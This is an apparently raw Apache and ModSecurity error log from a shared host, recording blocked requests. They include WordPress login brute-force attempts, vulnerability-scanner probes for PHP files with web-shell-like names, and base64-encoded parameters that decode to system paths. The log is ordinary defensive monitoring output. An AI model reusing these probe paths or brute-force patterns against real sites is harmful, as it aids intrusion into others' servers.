https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:07:30.089551 2026] [access_compat:error] [pid 531155:tid 531169] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:07:30.170378 2026] [security2:error] [pid 531155:tid 531269] [remote 17.22.253.191:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 191.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwimiP80klyS0Nnrk-AABPXE"] [Sat Jun 13 18:07:30.196547 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.104:24512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:30.196990 2026] [access_compat:error] [pid 531797:tid 531929] [remote 57.141.14.104:24512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:30.230960 2026] [security2:error] [pid 531155:tid 531202] [remote 87.192.224.131:49328] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.224.192.87.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3wwimiP80klyS0Nnrk-gABhy4"] [Sat Jun 13 18:07:30.233806 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.21:59207] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:30.234061 2026] [access_compat:error] [pid 531155:tid 531282] [remote 57.141.14.21:59207] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:30.356456 2026] [security2:error] [pid 531797:tid 532075] [client 20.151.217.54:48615] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.opryidaho.dennis-cooper.com"] [uri "/wolf.php"] [unique_id "ai3wwsTA7b1mZrmcA-8H7wAAAmE"] [Sat Jun 13 18:07:30.357046 2026] [security2:error] [pid 531797:tid 532113] [client 20.29.78.145:59340] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/11.php"] [unique_id "ai3wwsTA7b1mZrmcA-8H8AAAAoY"] [Sat Jun 13 18:07:30.516852 2026] [security2:error] [pid 531797:tid 531996] [client 191.233.234.186:53496] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/drykl.php"] [unique_id "ai3wwsTA7b1mZrmcA-8H9wAAAhQ"] [Sat Jun 13 18:07:30.570839 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:30.571287 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:30.622861 2026] [security2:error] [pid 531155:tid 531249] [remote 17.241.219.221:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 221.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwimiP80klyS0Nnrk_gABel0"] [Sat Jun 13 18:07:30.651621 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:07:30.651927 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:07:30.721112 2026] [access_compat:error] [pid 531797:tid 531905] [remote 216.73.217.87:17888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:30.721374 2026] [access_compat:error] [pid 531797:tid 531905] [remote 216.73.217.87:17888] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:30.799006 2026] [security2:error] [pid 531797:tid 532111] [client 148.113.209.179:37020] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wwsTA7b1mZrmcA-8IBwAAAoQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:30.857142 2026] [security2:error] [pid 531797:tid 532015] [client 20.151.217.54:48082] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.celadondragon.com"] [uri "/reune.php"] [unique_id "ai3wwsTA7b1mZrmcA-8IDAAAAic"] [Sat Jun 13 18:07:31.025366 2026] [security2:error] [pid 531797:tid 532078] [client 148.113.209.179:37036] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3ww8TA7b1mZrmcA-8IEgAAAmQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:31.056319 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNQ== [Sat Jun 13 18:07:31.056751 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8zNQ== [Sat Jun 13 18:07:31.143376 2026] [security2:error] [pid 531797:tid 532024] [client 191.233.234.186:60670] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/mg.php"] [unique_id "ai3ww8TA7b1mZrmcA-8IGwAAAjA"] [Sat Jun 13 18:07:31.189631 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:07:31.189910 2026] [access_compat:error] [pid 531155:tid 531237] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2V2ZW50My9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:07:31.220908 2026] [security2:error] [pid 531155:tid 531161] [remote 17.22.237.67:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 67.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwymiP80klyS0NnrlCAABXwU"] [Sat Jun 13 18:07:31.252671 2026] [security2:error] [pid 531797:tid 532010] [client 148.113.209.179:37046] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3ww8TA7b1mZrmcA-8IHgAAAiI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:31.280431 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.89:49576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:31.280860 2026] [access_compat:error] [pid 531155:tid 531259] [remote 57.141.14.89:49576] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:31.324604 2026] [security2:error] [pid 531155:tid 531236] [remote 17.22.245.68:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 68.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwymiP80klyS0NnrlDAABeFA"] [Sat Jun 13 18:07:31.394813 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.31:41646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:31.395098 2026] [access_compat:error] [pid 531155:tid 531256] [remote 57.141.14.31:41646] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:31.477380 2026] [security2:error] [pid 531797:tid 531889] [remote 17.246.19.188:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 188.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ww8TA7b1mZrmcA-8IJwACFBk"] [Sat Jun 13 18:07:31.478974 2026] [security2:error] [pid 531797:tid 532072] [client 148.113.209.179:37056] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3ww8TA7b1mZrmcA-8IKAAAAl4"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:31.501597 2026] [security2:error] [pid 531155:tid 531283] [remote 17.241.75.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwymiP80klyS0NnrlDwABfX8"] [Sat Jun 13 18:07:31.579233 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.40:24340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:31.579498 2026] [access_compat:error] [pid 531155:tid 531268] [remote 57.141.14.40:24340] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:31.604612 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:31.604894 2026] [access_compat:error] [pid 531155:tid 531196] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly91c3Ivc2hhcmUvbGliaGFydQ== [Sat Jun 13 18:07:31.610780 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.45:33242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:31.611047 2026] [access_compat:error] [pid 531155:tid 531166] [remote 57.141.14.45:33242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:31.629102 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.6:54514] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:31.629479 2026] [access_compat:error] [pid 531797:tid 531932] [remote 57.141.14.6:54514] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:31.656776 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:07:31.656926 2026] [security2:error] [pid 531797:tid 531925] [remote 103.127.30.137:46366] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "paulmerceronline.com"] [uri "/wp-login.php"] [unique_id "ai3ww8TA7b1mZrmcA-8ILQAChj0"] [Sat Jun 13 18:07:31.657054 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NS9tb3VzZTAvZGV2aWNlL2RldmljZS9pZA== [Sat Jun 13 18:07:31.677943 2026] [security2:error] [pid 531155:tid 531381] [client 20.29.78.145:56401] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/p.php"] [unique_id "ai3wwymiP80klyS0NnrlHQAAAWo"] [Sat Jun 13 18:07:31.762152 2026] [security2:error] [pid 531155:tid 531382] [client 20.9.67.71:64739] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.pedorthistontario.org"] [uri "/mg.php"] [unique_id "ai3wwymiP80klyS0NnrlIAAAAWs"] [Sat Jun 13 18:07:31.822858 2026] [security2:error] [pid 531155:tid 531206] [remote 17.241.227.16:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wwymiP80klyS0NnrlIwABHDI"] [Sat Jun 13 18:07:31.931265 2026] [security2:error] [pid 531797:tid 532111] [client 191.233.234.186:53407] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "kshar.yourkatana.com"] [uri "/h2a2ck.php"] [unique_id "ai3ww8TA7b1mZrmcA-8IOQAAAoQ"] [Sat Jun 13 18:07:31.979156 2026] [security2:error] [pid 531155:tid 531293] [client 148.113.209.179:47332] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wwymiP80klyS0NnrlJgAAARI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:31.994744 2026] [security2:error] [pid 531155:tid 531193] [remote 51.210.146.129:28418] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 129.146.210.51.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3wwymiP80klyS0NnrlJwABhSU"] [Sat Jun 13 18:07:31.994899 2026] [security2:error] [pid 531155:tid 531408] [client 51.210.146.129:28418] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "pys.tlq.mybluehost.me"] [uri "/xmlrpc.php"] [unique_id "ai3wwymiP80klyS0NnrlJwABhSU"] [Sat Jun 13 18:07:32.125888 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDUvZXZlbnQzL3Bvd2Vy [Sat Jun 13 18:07:32.126191 2026] [access_compat:error] [pid 531155:tid 531203] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 